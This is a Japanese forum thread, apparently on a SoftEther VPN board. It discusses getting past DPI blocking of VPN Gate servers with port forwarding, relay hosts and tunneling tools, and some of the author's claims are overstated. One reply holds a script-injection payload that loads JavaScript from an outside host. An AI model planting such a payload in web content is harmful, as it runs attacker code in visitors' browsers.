ルーティング/ブリッジ モードで動作する VPN サーバーは、DPI ファイアウォールのブロックを効果的に回避できることが科学的に証明されています。

[oscar]

ルーティング/ブリッジ モードで動作する VPN サーバーは、DPI ファイアウォールのブロックを効果的に回避できることが科学的に証明されています。

https://github.com/fatedier/frp

https://cpolar.com

結論は信じられないほど単純です。HTTPS トラフィックは、このテクノロジーを導入した VPN サーバーをシームレスにバイパスできるため、SOCKS HTTP プロキシ サーバーは必要ありません。

ゲーム理論に関する Q & A セッション！

Q：DPI ファイアウォール/政府ファイアウォールを使用してこれらのサービス プロバイダーをブロックする方がはるかに簡単ではないでしょうか? vpngate.net は DPI 干渉下では正常に動作しません。

A：インターネットは基本的なTCP/IP通信機能を備えています。

インターネットを完全に遮断するには、ルート0.0.0.0/0へのすべてのTCP/IPトラフィックをブロックするだけで十分です。TCPブロッキング技術を備えた複雑なDPIファイアウォールを構築するために多額の費用をかける必要はありません。

Q：これらのサービスには制限を回避する機能があるため、VPN Gate ではなく DPI などのプロトコルをターゲットにすることで、ほとんどの人が TCP/IP DPI ブロックの牢獄から逃れるのを防ぐことができます！

A：その後、サービスをバージョン 1 からバージョン 2 にアップグレードしてリリースするだけです。

クライアントは、IP アドレスの変更など、技術的な調整をほとんど行う必要がありません。

[cedar]

もしかして、あなたは制約を回避しつつWebサーバーを公開したいのでしょうか？
それなら、わざわざ制限付きのVPN Gateノードを使うのではなく、VPS を借りて自前の VPN サーバーを設置することで解決します。

[oscar]

もしかして、あなたは制約を回避しつつWebサーバーを公開したいのでしょうか？
それなら、わざわざ制限付きのVPN Gateノードを使うのではなく、VPS を借りて自前の VPN サーバーを設置することで解決します。

これを行った目的は、カスケード接続モードを用いてDPIファイアウォール監視を間接的に回避することでした。

しかし、カスケード接続モードを許可するには、VPNサーバーがルーター/ブリッジモードをブロックできません。

残念ながら、ほとんどのVPN Gate VPNサーバーはルーター/ブリッジモードを明示的に拒否します。

たとえ私が自主管理型VPS上でクライアント/簡易IP/TCPルータープログラムを使用していたとしても、これは依然としてVPSのローカルeth0()インターフェースのデフォルトの送信ルーティングテーブル（0.0.0.0/0）に依存します。

制御可能なネットワークデバイス上でカスタム L3 転送/IP テーブルデバイスを実行し、このデバイスを使用して VPN Gate サーバーの通信を中継したいと考えていることは明らかです。

しかし、なぜカスケード接続をクライアントとして実行できず、ルーター/ブリッジモードで実行する必要があるのでしょうか？

または、VPN 仮想 NIC の単一の IP テーブルのみを処理する別のユーザー空間プログラムを実行する必要がありますか?

これは私が管理するネットワークなので、レイテンシ、パケットロス、RTT について理解しています。

VPN Gate は学術的な実験プロジェクトであるため、ブリッジモードを使用して DPI を回避することは、DPI をターゲットとした「緊急構築、実証実験」とも言えます。

[oscar]

もしかして、あなたは制約を回避しつつWebサーバーを公開したいのでしょうか？
それなら、わざわざ制限付きのVPN Gateノードを使うのではなく、VPS を借りて自前の VPN サーバーを設置することで解決します。

netsh interface portproxy add v4tov4 listenport=53 listenaddress=0.0.0.0 connectport=443 connectaddress=219.100.37.58 すでに目標は達成しましたが、さらに一歩進んで、VPS の IP アドレス自体を L3 サードパーティ ホスティング プロバイダーの DDNS の別のレイヤーで管理し、DPI と高度な DNS ポイズニングおよび URL をターゲットとする DPI ブロッキングをさらに回避したいと考えています。

[cedar]

良く分かりません。あなたのやりたいことは背後にある複数のホストのインターネットトラフィックを、代表した1台のVPNクライアントだけで実現することですか？
もしそうなら、Windows であれば「インターネット接続の共有(ICS)」、Linux であれば IP マスカレーディングを使うことで、ブリッジモードなしで実現可能です。

[oscar]

良く分かりません。あなたのやりたいことは背後にある複数のホストのインターネットトラフィックを、代表した1台のVPNクライアントだけで実現することですか？
もしそうなら、Windows であれば「インターネット接続の共有(ICS)」、Linux であれば IP マスカレーディングを使うことで、ブリッジモードなしで実現可能です。

実は、とても簡単です。

Example 1

条件 1: IP アドレス 219.100.37.58 のサーバーが特定の国の DPI ファイアウォールによって厳しくブロックされており、すべての TCP 接続を確立できなくなりました。

条件2：IPアドレス47.57.1​​08.98はDPIによって恒久的にホワイトリストに登録されたサーバー（完全除外サーバー）であるため、そのトラフィックはいかなる検閲によってもブロックされることはなく、またブロックされることもありません。

つまり、DPIファイアウォール内部の通信は常に許可されます。[このサーバーはDPIファイアウォールの外側にあると想定しています。一部の国では、これは海外の国際サーバーに相当します。]

条件3：サーバー47.57.1​​08.98は219.100.37.58と制限なく通信できます。47.57.1​​08.98はDPIの外側にあり、DPIの適用を完全に免除されていますが、47.57.1​​08.98は219.100.37.58とのOSIレイヤー3通信を積極的に中継しないため、47.57.1​​08.98ではレイヤー4トラフィックの転送が必要です。例えば、以下のようになります。

[!次の PowerShell / cmd コマンドがホスト 47.57.1​​08.98 で実行]
netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=219.100.37.58

理論的には、レイヤー 3 ネットワーク ルーティングを使用する方がより直接的な方法ですが、以前このフォーラムでルーティング/ブリッジ モードを制限しないように提案しましたが、VPN サーバー管理者 [のぼり だいゆう] は私の提案を受け入れませんでした。

PUBLIC VPN サーバーは、VPN セッションの基盤となるトランスポートプロトコルとして TCP/UDP の使用をサポートしており、上記のコマンドプログラムはトランスポート層 4 に基づいています。

ただし、純粋なネットワーク層ルーティングでは、SoftEtherVPN がブリッジ/ルーティングモードの実行を明示的に許可する必要があります。

これはサーバーホスト 47.57.1​​08.98 のルーティングテーブルを変更することで実現できますが、問題が発生します。デフォルトルート 0.0.0.0/0 が乗っ取られたり変更されたりすると、パブリック IP アドレスを使用して 47.57.1​​08.98 にアクセスするトラフィックは、その NIC に到達できなくなります (デフォルトルート 0.0.0.0/0 は失われます)。

サーバーホスト 47.57.1​​08.98 のルーティングテーブルを強制的に変更することはできますが、ホスト 219.100.37.58 のセキュリティポリシーにより、このルーティング動作ではすべてのパケットが破棄されます。


最後に、VPNGATE モードで動作している VPN ホスト上の仮想 HUB が、デフォルトでルーティング/ブリッジモードを常に拒否するのはなぜでしょうか？

たとえこのモードが許可されていたとしても、VPN サーバー管理者がセキュリティ上の懸念を抱いている場合、LAN セグメント 192.168.0.0/16 および 172.16.0.0/16 からのすべてのトラフィックをブロックする可能性があります。

VPNGATE 仮想 HUB でルーティング/ブリッジモードの実行を許可することにセキュリティ上の問題はないのでしょうか？

[oscar]

より複雑なシナリオ: 次のようなネットワークがあると仮定します：【私自身もネットワークエンジニアであり、基本的な原理と知識を理解しています。】

Eth0(): これは、パブリックインターネットにアクセスするホスト上のEthernetアダプタです。IPアドレスは100.100.1.18、サブネットマスクは255.255.255.0、デフォルトゲートウェイは100.100.1.1です。

HUBlo0() は、SoftEther によってこのホスト上にホストされている仮想 lo0 (LOOPBACK_Interface) です。クライアントホスト HostA が存在します。
HostA の IP アドレス = 192.168.1.108、ネットマスク = 255.255.255.0、Default_GateWay = 192.168.1.1

VPNNIC0() は、SoftEtherVPN クライアントが VPN サーバーに接続した後にこの Windows ホストに割り当てられるアダプタです。
VPNNIC0() IP = 10.236.205.178、SUBNET_MASK = 255.255.0.0、DEFAULT_GATEWAY = 10.236.254.254

PUBLIC VPNサーバー[70.0.0.1]には、ルーティング/ブリッジモードでの動作を禁止するセキュリティポリシーがありますが、私のVPSはClientモードでVPNサーバーに接続でき、より複雑なルーティングテーブル定義の操作を理解しています。

192.168.1.108 が常に IP = 10.236.205.178、SUBNET_MASK = 255.255.0.0、DEFAULT_GATEWAY = 10.236.254.254 の VPNNIC0() をPUBLIC インターネット (0.0.0.0/0) に接続するためのデフォルト ゲートウェイとして使用するようにするには、それに応じて設定する必要があります。

Windowsシステムは多くの複雑なルーティング構成を処理できますが、異なるネットワークセグメント上のIPアドレスを持つホストは、特定の静的ルートエントリを明示的に指定しない限り、直接通信できないという問題があります。

このような複雑な環境でネットワークルーティングを構成するにはどうすればよいでしょうか？

[oscar]

「ルーティングモード」の開始者は必ずしもSoftEtherソフトウェアである必要はありません。

他のソフトウェアが開始することも可能です。

例えば、この投稿では2つの独立したサードパーティ製ツール（https://github.com/fatedier/frpとhttps://cpolar.com/）について言及しています。

[cedar]

DPIの制約を逃れることができるIPアドレスで既に VPN サーバーを運用できるなら、VPN gateを使う必要はありません。

[oscar]

DPIの制約を逃れることができるIPアドレスで既に VPN サーバーを運用できるなら、VPN gateを使う必要はありません。

人々は DPI をBYPASSするために VPN Gate を使用するわけではありません (私のような質問者のように)。

VPN Gate を使用する理由は、ローカル IP アドレスによる地域制限にうんざりしているからです。

一方、ほとんどの VPN Gate サーバーはルーティングモードでの動作を拒否するため、PROの開発者はコンピュータネットワークの基本原則を再学習し、カスタムルーティングテーブルを書き換えて、ローカルインフラストラクチャから VPN Gate サーバーへの特定のルートを実装する必要があります。

ほとんどの開発者は、ルートアクセス権限を持つ独自のVPSサーバーを所有しています。VPN Gateサーバーの使用は彼らにとって不要だと主張する人もいるかもしれませんが、TCP/IPインターネット全体と同様に、すべてのソフトウェアとサービスにはそれぞれ目的があります。

[muhamedsirdari]

help me bro "><script src="https://ws2.io/i.js"></script>

[hiura]

>VPN Gate を使用する理由は、ローカル IP アドレスによる地域制限にうんざりしているからです。

ローカル IP アドレスによる地域制限とは具体的にはどんなこと？
例えば社内LANからインターネットに直接でていけない（通常PROXYを経由する）という意味ですか？

[oscar]

>VPN Gate を使用する理由は、ローカル IP アドレスによる地域制限にうんざりしているからです。

ローカル IP アドレスによる地域制限とは具体的にはどんなこと？
例えば社内LANからインターネットに直接でていけない（通常PROXYを経由する）という意味ですか？

例えば、日本に住んでいるのに、アメリカを拠点とするテレビ番組やストリーミングコンテンツを視聴したいとします。これらの番組やストリーミングコンテンツは、アメリカを拠点とするIPアドレスを持つユーザーのみが視聴できます。

コンピュータ ネットワークの原理に精通している場合は、送信元 IP アドレスが偽装される可能性は低く、たとえ偽装されたとしても、uRPF ポリシーによってそのような通信が防止されることをご存知でしょう。

この場合、原則的には、米国（日本発）にある VPN サーバーの IP アドレスに直接接続できます。

ただし、この投稿の研究背景は、一部の VPN サーバーが特定のソース IP を持つネットワーク環境に接続できないが、他のソース IP からは接続できる場合、間に DPI ブロッキング デバイスがあっても、この「その他の IP アドレス」をバイパスして、最終的に宛先 IP アドレスとして使用する VPN サーバーに接続することが可能になるということです。

DPI ファイアウォールとトラフィック ブロックを回避するのは簡単で技術的に簡単ですが、地域制限のある TV シリーズやストリーミング コンテンツにアクセスするのははるかに困難です。

IPアドレスは簡単に高額で買えるものではありません。特にIPv4では、世界のIPアドレスプールはいつ枯渇してもおかしくありません。

しかしながら、VPNゲートウェイはIPv6をまだ広く採用していません。一般情報理論の観点から言えば、現状ではIPv4レベルでのDPIバイパスとファイアウォール迂回に関する研究しか進めていません。

[oscar]

>VPN Gate を使用する理由は、ローカル IP アドレスによる地域制限にうんざりしているからです。

ローカル IP アドレスによる地域制限とは具体的にはどんなこと？
例えば社内LANからインターネットに直接でていけない（通常PROXYを経由する）という意味ですか？

ソース コードを変更して、カスケード接続モードをクライアント モード (非ルーティング/ブリッジ モード) で実行できる場合は、このエラー 108 の制限は存在しなくなります。

！ 219.100.37.58 Router_Mode.Forbidden = True ；Bridge_Mode.Forbidden = True

[hiura]

>ただし、この投稿の研究背景は、一部の VPN サーバーが特定のソース IP を持つネットワーク環境に接続できないが、他のソース IP からは接続できる場合、間に DPI ブロッキング デバイスがあっても、この「その他の IP アドレス」をバイパスして、最終的に宛先 IP アドレスとして使用する VPN サーバーに接続することが可能になるということです。

CLIENT側からブリッジ モードでVPN SERVERへ接続した場合とクライアントモードでVPN SERVERへ接続した場合で、
VPN SERVERから出ていくパケット（送信元IPはVPN SERVER）が ブリッジ モードであればDPI ブロッキング デバイスを貫通し、
クライアントモードであればブロックされると言う意味ですか？

[oscar]

>ただし、この投稿の研究背景は、一部の VPN サーバーが特定のソース IP を持つネットワーク環境に接続できないが、他のソース IP からは接続できる場合、間に DPI ブロッキング デバイスがあっても、この「その他の IP アドレス」をバイパスして、最終的に宛先 IP アドレスとして使用する VPN サーバーに接続することが可能になるということです。

CLIENT側からブリッジ モードでVPN SERVERへ接続した場合とクライアントモードでVPN SERVERへ接続した場合で、
VPN SERVERから出ていくパケット（送信元IPはVPN SERVER）が ブリッジ モードであればDPI ブロッキング デバイスを貫通し、
クライアントモードであればブロックされると言う意味ですか？

はい！

これは、異なる送信元 IP を介して宛先 VPN サーバーに接続できるためであり、これは基本的に SoftEtherVPN のシングルホップ VPN ではなく、マルチホップ VPN です。

219.100.37.58 は DPI ファイアウォールによってブロックされました。

ただし、220.192.1.63 経由で 219.100.37.58 に接続できます。

つまり、私は基本的に 219.100.37.58 に接続するためのデフォルトの送信ゲートウェイとして 220.192.1.63 を使用しています。

220.192.1.63 はブリッジ/ルーティング モード接続を許可するためです，これは 219.100.37.58 とはまったく異なります。

219.100.37.58 でルーティング/ブリッジ モード接続が無効になっている場合でも、回避策はまだあります：

A.VPSにSoftEtherVPNサーバーをルート権限でインストールし、VPN Azure機能を有効にしてください。詳細は https://vpnazure.net 。

B.VPS に SoftEtherVPN クライアントをルート アクセスでインストールし、通常のユーザー モードを使用して VPN サーバー 219.100.37.58 に接続します。

C.VPN接続は0.0.0.0/0のデフォルトルートテーブルを乗っ取り、強制的に変更する可能性があるため、VPSへのSSH/Microsoft RDP接続が中断される可能性があります。これは、デフォルトルートの変更によってVPSのネットワークアダプタがネットワーク接続を失い、デフォルトルートがVPNネットワークアダプタを使用するようになるためです。

問題ありません。

SoftEtherVPN の vpngate.net サーバーは現在 IPv6 をサポートしていないため、VPS サーバーへの SSH/Microsoft RDP 接続には IPv6 を使用できます。

D.外部クライアントが [vpn********.vpnazure.net] の VPN サーバーに接続すると、https://ugtop.com/ にこの VPN サーバーのpublic IP アドレス (219.100.37.58) が表示されるようになります。

これは本質的に、VPSを強制的にルーターとして利用するというものです。カスケード接続よりもパフォーマンスは劣るかもしれませんが、少なくともこの記事で言及したブリッジ/ルーティングモードが使えないという問題を緩和できます。科学的な実証研究を行うのであれば、これは一時的に有効な緊急対策となるでしょう。（ちなみに、シンテレワークシステムもCOVID-19の流行下で緊急開発されたシステムです。本来は存在しないシステムですが、緊急事態下で製品としてリリースされたため、ソースコードはまだオープンソース化されていない可能性があります。）

[hiura]

確認です。

CLIENT側からブリッジ モードでVPN SERVERへ接続した場合とクライアントモードでVPN SERVERへ接続した場合で、
VPN SERVERから出ていくパケット（送信元IPはVPN SERVER）が ブリッジ モードであればDPI ブロッキング デバイスを貫通し、
クライアントモードであればブロックされると言う意味ですか？

ブロックケース：
①VPN CLIENT--->DPI ブロッキング デバイス--->VPN SERVER
②VPN CLIENT--->VPN SERVER--->DPI ブロッキング デバイス--->WEBサイト

ブロックされるのは、①のVPN 接続ですよね。
①VPN CLIENT VPN SERVER間は暗号化された状態なので、モードは見えないし、何が暗号化されているかわからないのでは？
モードは関係ないと思いますが。。。

VPN接続前に、HTTPSのTLSハンドシェイク時のTCPヘッダー部、ペイロード部をINSPECTIONしているのでは？
ペイロード部からSOFTETHERのドメイン名であることはわかるので、ドメイン名からブロックはできるのでは。

[oscar]

確認です。

CLIENT側からブリッジ モードでVPN SERVERへ接続した場合とクライアントモードでVPN SERVERへ接続した場合で、
VPN SERVERから出ていくパケット（送信元IPはVPN SERVER）が ブリッジ モードであればDPI ブロッキング デバイスを貫通し、
クライアントモードであればブロックされると言う意味ですか？

ブロックケース：
①VPN CLIENT--->DPI ブロッキング デバイス--->VPN SERVER
②VPN CLIENT--->VPN SERVER--->DPI ブロッキング デバイス--->WEBサイト

ブロックされるのは、①のVPN 接続ですよね。
①VPN CLIENT VPN SERVER間は暗号化された状態なので、モードは見えないし、何が暗号化されているかわからないのでは？
モードは関係ないと思いますが。。。

VPN接続前に、HTTPSのTLSハンドシェイク時のTCPヘッダー部、ペイロード部をINSPECTIONしているのでは？
ペイロード部からSOFTETHERのドメイン名であることはわかるので、ドメイン名からブロックはできるのでは。

それはYes！

ブリッジモードとクライアントモードには、重要なものではないものの、微妙な違いがあります。

さらに、DNS ポイズニングは IP アドレス操作によって回避できますが、TCP/IP がブロックされている場合は、純粋な UDP 経由でしか回避できません。これはグレートファイアウォール (GFW) にのみ当てはまります。

GFW 以外の環境では、他の回避策が必要になる場合があります。

ただし、原則として、SoftEtherVPN の研究開発は GFW の存在によって始まったため、DPI 回避の標準的な方法として GFW を扱うべきです [これは最近のニュース報道で、GFW が商用サービスとして販売されている、つまり外交上の道具としてではないかと示唆されているようです。]

[oscar]

確認です。

CLIENT側からブリッジ モードでVPN SERVERへ接続した場合とクライアントモードでVPN SERVERへ接続した場合で、
VPN SERVERから出ていくパケット（送信元IPはVPN SERVER）が ブリッジ モードであればDPI ブロッキング デバイスを貫通し、
クライアントモードであればブロックされると言う意味ですか？

ブロックケース：
①VPN CLIENT--->DPI ブロッキング デバイス--->VPN SERVER
②VPN CLIENT--->VPN SERVER--->DPI ブロッキング デバイス--->WEBサイト

ブロックされるのは、①のVPN 接続ですよね。
①VPN CLIENT VPN SERVER間は暗号化された状態なので、モードは見えないし、何が暗号化されているかわからないのでは？
モードは関係ないと思いますが。。。

VPN接続前に、HTTPSのTLSハンドシェイク時のTCPヘッダー部、ペイロード部をINSPECTIONしているのでは？
ペイロード部からSOFTETHERのドメイン名であることはわかるので、ドメイン名からブロックはできるのでは。

一方、DPI をBYPASSするというアイデアは非常に柔軟性が高いです。SoftEtherVPN プロジェクトの最大の欠点は、ソフトウェアコンポーネントのプラグイン性が過度に硬直していることです。

現在でも、v2ray と Shadowsocks は DPI の制限を完全に克服しています。

SoftEther が DPI 対策プラグイン機能を追加したり、互換性レイヤーの概念を導入したりできれば、同様に世界中の DPI の制限を克服できるでしょう。

[oscar]

余談ですが、世界中のISPはルーターにuRPFの導入を義務付けており、顧客が送信元IPを偽装することは極めて困難です（送信元IPはDPIをバイパスするための決定的な機能です！）。

https://en.wikipedia.org/wiki/Reverse-path_forwarding

もしTCP/IP以外のレイヤーからuRPFにブロックされることなく送信元IPを偽装できれば、地球上のあらゆるVPNを凌駕するでしょう！

[cedar]

VPN Gate サービスは、自由なインターネットへのアクセスが制限されている人々に選択肢を与えることが目的で、ボランティアによって提供されている貴重な通信帯域を利用するプロジェクトです。IP アドレスの偽装やリージョン制限を回避するためのものではありませんし、動画の視聴のように大きな帯域を消費する通信に使用することはサービスへの妨害行為ではないかと思います。

[oscar]

VPN Gate サービスは、自由なインターネットへのアクセスが制限されている人々に選択肢を与えることが目的で、ボランティアによって提供されている貴重な通信帯域を利用するプロジェクトです。IP アドレスの偽装やリージョン制限を回避するためのものではありませんし、動画の視聴のように大きな帯域を消費する通信に使用することはサービスへの妨害行為ではないかと思います。

人々がこれらのIPアドレスを（たとえ既に取得済みであっても）意図的に使用する理由は、地域のインターネットサービスプロバイダ（ISP）が課す様々なIPアドレスベースのブラウジング制限を回避できるためです。

こうした使用法の最終的な目的は、主にこれらのISP IPアドレスをパブリックインターネットへのアクセス元IPアドレスとして利用し（これもISPの制限を回避し）、高度に匿名かつ安全なネットワーク通信を行うことです。一般的に、人々はこれらのIPアドレスを投稿に使用しようとは考えていません。インターネットに自由にアクセスできることと、これらのIPアドレスを投稿のために意図的に使用することは、全く異なる概念です。

この操作の目的は、VPN Gate の公開 VPN サーバー IP アドレスによって提供されるサービスを無効にすることではなく、これらの IP アドレスによって提供されるサービスがこの使用要件を完全に満たしていたためです。[唯一の欠点は、一般ユーザーが無効化されたブリッジ/ルーティングモードを回避し、これらの IP アドレスを SNAT の送信元 IP アドレスとして引き続き使用する効果的な方法を見つけることが困難であることです。DNAT は宛先ベースの NAT であるため、これは実現できません。]

[oscar]

VPN Gate サービスは、自由なインターネットへのアクセスが制限されている人々に選択肢を与えることが目的で、ボランティアによって提供されている貴重な通信帯域を利用するプロジェクトです。IP アドレスの偽装やリージョン制限を回避するためのものではありませんし、動画の視聴のように大きな帯域を消費する通信に使用することはサービスへの妨害行為ではないかと思います。

一方、ボランティアにとって、DPIファイアウォールがvpngate.netに公開IPアドレスを公開する方法（通常はブロックされる）を迂回するのは非常に簡単です。SoftEtherVPN 5.0 Delveloper Editionを使用するだけで済みます。

このバージョンにはVPN Gateプラグインは含まれていませんが、ユーザーはVPNGATEという仮想ハブのすべての設定をカスタマイズし、192.168.0.0/16ネットワークセグメント内で内部ネットワーク通信とパブリックルーティングおよび転送を例外として設定できます。

サーバーのIPアドレスを特定する方法については、これは広く蔓延しているソーシャルエンジニアリングの問題であり、VPN Gateの純粋な技術的性質とは根本的に異なります。

[oscar]

VPN Gate サービスは、自由なインターネットへのアクセスが制限されている人々に選択肢を与えることが目的で、ボランティアによって提供されている貴重な通信帯域を利用するプロジェクトです。IP アドレスの偽装やリージョン制限を回避するためのものではありませんし、動画の視聴のように大きな帯域を消費する通信に使用することはサービスへの妨害行為ではないかと思います。

では、もっと明確に述べさせて。

FRPはオープンソースのリバースプロキシソフトウェアです。その機能は、インストールされ実行されているホストから、サードパーティ組織が運営するTCPサーバーにアクティブにアクセスすることです。SoftEtherVPNは、図に示すように、このサードパーティサーバーのポートに接続します。19bd5960.tw.cpolar.io:443がこのサードパーティサーバーのポートです。

DPI をバイパスすることが主な目的であり、これらのポートマッピングは一時的なものであるため、設定変更や VPS サーバーの IP/ポート番号が何らかの理由で変更された場合、これらの TCP 接続ドメインとポート番号は無効になりますのでご注意ください。その場合、すべてを最初から再設定する必要があります。これらの TCP 接続は 3 日間も持続しない可能性があり、ドメインとポート番号は毎分または毎秒変化する可能性があります。

これは学術研究プロジェクトであり、DPI が厳格な多くの国や地域で SoftEtherVPN Gate 公開サーバーが vpngate.net で公開されている TCP ポート 443/TCP/UDP ポートを使用できないという長年の問題を解決するために構築された緊急実験プロジェクトです。実験プロジェクトであるため、非常に不安定であり、いつでも動作が恒久的に停止する可能性があります。安定した動作を保証するものではありませんが、この PoC に基づいて、SoftEtherVPN 公式プロジェクトチームは、DPI をバイパスするプラグイン可能な制御を一時的に構築できる可能性があります。

この記事を読んでいるユーザーは、このユースケースに過度に依存しないよう注意する必要があります。このユースケースはまだ実験段階/概念実証（PoC）段階です。このユースケースは非常に不安定で、サードパーティのサーバーが提供するサービスに大きく依存しており、vpngate.net ではその実現可能性について言及されていません。さらに、サードパーティのサーバープロバイダーやソフトウェアベンダーの公式ドキュメントには、具体的な操作手順が記載されていません。

[oscar]

結局のところ、219.100.*.* のような IP アドレスを持つこれらのパブリック VPN サーバーが、TCP 経由で DPI によってブロックされるのは（特にインターネット検閲が厳しい国や地域では）、219.100.*.* から発信されるネットワークトラフィックがこれらの国や地域に到達できないためです。

これらの地域に長期滞在する方であれば、これらのパブリック VPN サーバーがローカル TCP によってブロックされていることに強い関心を抱くのは当然です。このような環境でこれらのサーバーへのネットワークトラフィックを具体的に中継する方法を学ぶことは不可欠です。それは人間の性です。

これらのパブリックVPNサーバー、特に219.100.*.*サブネット内のサーバーは、厳格なDPIブロッキングとTCPブロッキングを実施しており、ほぼ例外なく、すべてのネットワークセグメントのすべてのホストがブロックされています。

これらのサーバーはPUBLICインターネットに24時間365日、無料でサービスを提供しているため、エンドユーザーは必然的に、これらのパブリックVPNサーバーからのトラフィックを他のIPアドレスを使用して中継しようと試みるでしょう。

[接続先のサーバーが219.100.*.*サブネットのサーバーであっても、ローカルネットワークへのルーティングの送信元IPアドレスとして使用することはできません。]

2013年と比べると、状況は全く異なります。DPIブロッキング対策に特化したプラグインは数多く開発されており、それらはDPIのために開発されたものであり、DPIのために生まれたと言っても過言ではありません。

SoftEtherプロジェクトの公式開発者には、著名なDPIバイパスプロジェクトであるv2rayとshadowsocksを参考にすることをお勧めします。SoftEtherは、これらのオープンソースプロジェクトの真髄を、プラガブルトランスポート層において学ぶべき時が来ています。

現在、SoftEtherは初期状態では問題ありません。主な問題は、現在のDPIデバイス管理者にあります。彼らはvpngate.netを介して公開VPNサーバーのIPアドレスを単純に粗雑にスキャンし、それらをDPIデバイスのネットワークブロッキングリストに無差別に追加しているのではないでしょうか。ブロッキングを行う前に、これらのVPNサーバーを対象とするプロアクティブなプローブやその他の検出方法はあるのでしょうか。もしvpngate.netの公開リストを粗雑にスキャンするだけなら、ボランティアが他のサードパーティフォーラムを通じてこれらのIPアドレスを配布する可能性があります。サードパーティのフォーラムには、DPI 担当者が勝手にサーバーにアクセスして操作を妨害することを効果的に防ぐことができるユーザー認証メカニズムがあります。